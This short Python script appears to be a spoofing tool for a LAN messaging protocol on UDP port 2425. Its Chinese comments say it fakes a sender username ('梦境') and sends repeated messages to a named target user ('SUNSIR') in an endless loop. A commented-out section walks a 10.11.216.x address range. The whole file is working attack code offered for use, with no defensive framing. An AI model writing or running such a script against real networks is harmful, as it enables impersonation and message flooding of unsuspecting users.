#-*- coding:utf8 -*-
from socket import *
import time

s = socket(AF_INET,SOCK_DGRAM)
#
# i = 1
# a = 1 +1
# while i < 254:
#     a =str(a)
#     add = ('10.11.216.'+a,2425)
#     add1=('10.11.216.'+a)
#     print(add1)
#     # socket = socket.gethostbyaddr(add1)[0]
#
#     print(socket)
# i +=1
while True:  #设置无线循环

    add = ('0.0.0.0',2425)  # ip修改成要發送的ip
    a = "1:525:梦境:SUNSIR:32:發送內容"  #梦境：你偽造的用戶名    SUNSIR：要攻擊的用戶
    #利用socket模块生成套接字

    # #完成发送
    s.sendto(a.encode("gbk"),add)
    print(1)
    time.sleep(50)
        #
